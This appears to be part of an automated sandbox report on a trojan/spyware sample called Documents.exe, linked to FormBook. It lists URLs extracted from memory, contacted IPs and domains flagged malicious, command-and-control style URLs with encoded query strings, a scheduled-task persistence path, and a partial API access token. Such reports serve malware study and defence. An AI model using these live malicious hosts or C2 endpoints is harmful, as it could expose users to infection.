http://www.6822662.xyz/Dating/178b40599416.html	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/shuiyechaoyangh/	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://park.101datacenter.net/images/vendor-1/trustpilot.svg	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/mingrihuaqiluo/	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/Dating/069a299928.html	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://0dyos.com	vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003D04000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/Dating/830f499165.html	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/Dating/128c40599466.html	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/jiuzhonghuannai/1/	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cs.deviceatlas-cdn.com/101dacs.js	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://park.101datacenter.net/images/vendor-1/icon/101domain.ico	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/Dating/14a40599580.html	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.101domain.com/domain_monitoring_trademark_enforcement_guide.htm	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://park.101datacenter.net/images/vendor-1/google-reviews.svg	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/Dating/927a399069.html	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/baishimolinair/	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/yasendi/	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/Dating/468c40599126.html	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Documents.exe, 00000000.00000002.2154688065.0000000003376000.00000004.00000800.00020000.00000000.sdmp, uFEeKIucsX.exe, 0000000A.00000002.2277213173.00000000028E6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.6822662.xyz/jiuzhonghuannai/2/	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/jiuzhonghuannai/7/	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.101domain.com/domain-availability-search.htm?utm_campaign=parked-page&utm_medium=referra	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.101domain.com/resource_center.htm	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/gongdilan/	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cs.deviceatlas-cdn.com/smartclick	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	systray.exe, 00000011.00000003.2527658066.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.6822662.xyz/lingcunaili/	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/xidaoailiw/	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/ruocainaiyang/	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://park.101datacenter.net/css/fonts/LatoRegular.woff2	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/Dating/129d40599465.html	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cs.deviceatlas-cdn.com	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/youtianzhenxi/	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	systray.exe, 00000011.00000003.2527658066.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.6822662.xyz/jiuzhonghuannai/10/	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://park.101datacenter.net	vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://park.101datacenter.net/css/vendor-1.css?20240925050808	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://park.101datacenter.net/css/fonts/LatoRegular.woff)	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/zuozuomumingxi/	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/Dating/449a40599145.html	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/template/news/news10/css/layout.css	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://park.101datacenter.net/js/modernizr-webp.js?20240925050808	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/jiuzhonghuannai/8/	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://park.101datacenter.net/css/fonts/LatoRegular.woff2)	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://hayaniya.org/yf1h/?QhKxhNP=YVpI46H16R/w/kk1bY6rBRavyZUbsgJtp9CZM	systray.exe, 00000011.00000002.4500910385.00000000053DA000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.000000000352A000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://park.101datacenter.net/images/vendor-1/park-back.webp	vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://park.101datacenter.net/js/pricing.js?20240925050808	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/Dating/776b40598818.html	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.101domain.com/brand_services.htm?utm_campaign=parked-page&utm_medium=referral&utm_source	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/sitemap.xml	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/jiuzhonghuannai/5/	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.losmason.shop/s15n/?QhKxhNP=JfQJqlQL4YuujxfZFicS9Y3zSvzh5uc29LPY	systray.exe, 00000011.00000002.4500910385.0000000005248000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003398000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/Dating/047a40599547.html	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/Dating/87c40599507.html	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.particle.io/v1/devices/13300350003473433373737385/digitalread?access_token=Q235ad2c91cac	Documents.exe, uFEeKIucsX.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	systray.exe, 00000011.00000003.2527658066.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://my.101domain.com?utm_campaign=parked-page&utm_medium=referral&utm_source=carpentry.club&utm_	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/jiuzhonghuannai/6/	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404refer	systray.exe, 00000011.00000002.4500910385.00000000050B6000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003206000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.6822662.xyz/guchuanyizhi/	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	systray.exe, 00000011.00000003.2527658066.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://zrinorem-srumimit.sbs/	vWFGbvOdxI.exe, 00000012.00000002.4500346640.00000000039E0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/Dating/912f40598682.html	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.101domain.com/new_gtld_extensions.htm?utm_campaign=parked-page&utm_medium=referral&utm_s	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://park.101datacenter.net/images/vendor-1/com.png	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.101domain.com/gmail_email_aliases.htm	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/Dating/068e399928.html	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.101domain.com/domain-registration.htm?utm_campaign=parked-page&utm_medium=referral&utm_s	systray.exe, 00000011.00000002.4500910385.0000000005ED8000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 00000011.00000002.4502624257.0000000007210000.00000004.00000800.00020000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000004028000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.6822662.xyz/Dating/289d399707.html	systray.exe, 00000011.00000002.4500910385.0000000005A22000.00000004.10000000.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4500346640.0000000003B72000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.0.215.33	nieuws-july202488.sbs	Canada	35893	ACPCA	true
13.248.169.48	www.hasan.cloud	United States	16509	AMAZON-02US	true
199.192.23.123	www.learnnow.info	United States	22612	NAMECHEAP-NETUS	true
104.18.73.116	www.losmason.shop	United States	13335	CLOUDFLARENETUS	true
121.43.155.35	www.lingdianyun29.xyz	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	true
75.2.103.23	www.innovationpulse.tech	United States	16509	AMAZON-02US	true
161.97.142.144	www.030002449.xyz	United States	51167	CONTABODE	true
192.185.147.100	hayaniya.org	United States	26337	OIS1US	true
52.60.87.163	www.carpentry.club	United States	16509	AMAZON-02US	true
185.106.208.3	holytur.net	Turkey	42846	GUZELHOSTINGGNETINTERNETTELEKOMUNIKASYONASTR	false
103.249.106.91	www.6822662.xyz	China	137443	ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK	true
3.33.130.190	duskgazes.work	United States	8987	AMAZONEXPANSIONGB	true
172.67.222.69	www.zrinorem-srumimit.sbs	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564384
Start date and time:	2024-11-28 09:12:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Documents.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@23/16@14/13
EGA Information:	Successful, ratio: 80%
HCA Information:	Successful, ratio: 96% Number of executed functions: 94 Number of non-executed functions: 307
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target vWFGbvOdxI.exe, PID 1788 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Documents.exe

Simulations

Behavior and APIs

Time	Type	Description
03:13:06	API Interceptor	2x Sleep call for process: Documents.exe modified
03:13:14	API Interceptor	43x Sleep call for process: powershell.exe modified
03:13:18	API Interceptor	2x Sleep call for process: uFEeKIucsX.exe modified
03:14:12	API Interceptor	9968994x Sleep call for process: systray.exe modified
09:13:14	Task Scheduler	Run new task: uFEeKIucsX path: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
162.0.215.33	dhl009544554961.INV.PEK.CO.041.20241115.183845.20241115.183948.34872.exe	Get hash	malicious	FormBook	Browse	www.nieuws-july202541.sbs/0bvv/
	QUOTE2342534.exe	Get hash	malicious	FormBook	Browse	www.nieuws-july202491.sbs/4bpc/
	r0000000NT_PDF.exe	Get hash	malicious	FormBook	Browse	www.nieuws-july202491.sbs/rq5n/
	rInvoiceCM60916_xlx.exe	Get hash	malicious	FormBook	Browse	www.nieuws-july202491.sbs/rq5n/
	z1SupplyInvoiceCM60916_Doc.exe	Get hash	malicious	FormBook	Browse	www.nieuws-july202491.sbs/rq5n/
13.248.169.48	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	www.egyshare.xyz/lp5b/
	attached order.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.aktmarket.xyz/wb7v/
	file.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.gupiao.bet/t3a1/
	DO-COSU6387686280.pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.krshop.shop/grhe/
	Fi#U015f.exe	Get hash	malicious	FormBook	Browse	www.a1shop.shop/5cnx/
	ZAMOWIEN.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.tals.xyz/tj5o/
	santi.exe	Get hash	malicious	FormBook	Browse	www.lirio.shop/qp0h/
	PAYROLL LIST.exe	Get hash	malicious	FormBook	Browse	www.optimismbank.xyz/98j3/
	CV Lic H&S Olivetti Renzo.exe	Get hash	malicious	FormBook	Browse	www.tals.xyz/cpgr/
	VSP469620.exe	Get hash	malicious	FormBook	Browse	www.heliopsis.xyz/cclj/?9HaD=8+p9jI+W8p4gGfkrJ06IbG7GVrDrFE39Gbevi7MMoG/mxV0OJ3bBQ6ZfzHGiIebJDzxdJU835govK3Wq3/2OXcUb6pzjLf8wiqFw/QHcYMK4syzjiA==&wdv4=1RD4

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.losmason.shop	santi.exe	Get hash	malicious	FormBook	Browse	104.18.73.116
www.hasan.cloud	file.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	13.248.169.48
www.learnnow.info	file.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	199.192.23.123

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NAMECHEAP-NETUS	Payment_Slip.pdf.exe	Get hash	malicious	Unknown	Browse	198.54.126.126
	Banorte_Aviso_de_Pago_pdf.exe	Get hash	malicious	Unknown	Browse	198.54.126.126
	Payment_Slip.pdf.exe	Get hash	malicious	Unknown	Browse	198.54.126.126
	Banorte_Aviso_de_Pago_pdf.exe	Get hash	malicious	Unknown	Browse	198.54.126.126
	nklsh4.elf	Get hash	malicious	Unknown	Browse	162.0.234.192
	FATURA.exe	Get hash	malicious	FormBook	Browse	162.0.238.246
	file.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	199.192.23.123
	https://app.useblocks.io/getemail/48034?secret_hash=d1541dc5be135b2d0f39c0711cecbe46&raw=true	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	162.0.231.89
	https://kkinternational.co.uk/	Get hash	malicious	HTMLPhisher	Browse	185.61.154.40
	FACTURA 24V70 VINS.exe	Get hash	malicious	FormBook	Browse	162.0.229.222
ACPCA	oS6KsQIqJxe038Y.exe	Get hash	malicious	DarkCloud, PureLog Stealer	Browse	162.55.60.2
	pbnpvwfhco.elf	Get hash	malicious	Unknown	Browse	162.65.144.8
	https://michiganchronicle.com/philanthropy-under-siege-how-the-fight-against-the-fearless-fund-threatens-black-womens-progress-in-detroit/	Get hash	malicious	Unknown	Browse	162.55.246.61
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	162.52.56.205
	nabm68k.elf	Get hash	malicious	Unknown	Browse	162.48.203.221
	FATURA.exe	Get hash	malicious	FormBook	Browse	162.0.209.213
	loligang.spc.elf	Get hash	malicious	Mirai	Browse	162.10.7.182
	Purchase Order AB013058.PDF.exe	Get hash	malicious	DarkCloud, PureLog Stealer	Browse	162.55.60.2
	MSM8C42iAN.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	wMy37vlfvz.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
AMAZON-02US	nabmips.elf	Get hash	malicious	Unknown	Browse	3.168.247.140
	nabsh4.elf	Get hash	malicious	Unknown	Browse	44.226.239.16
	nabarm.elf	Get hash	malicious	Unknown	Browse	54.126.138.72
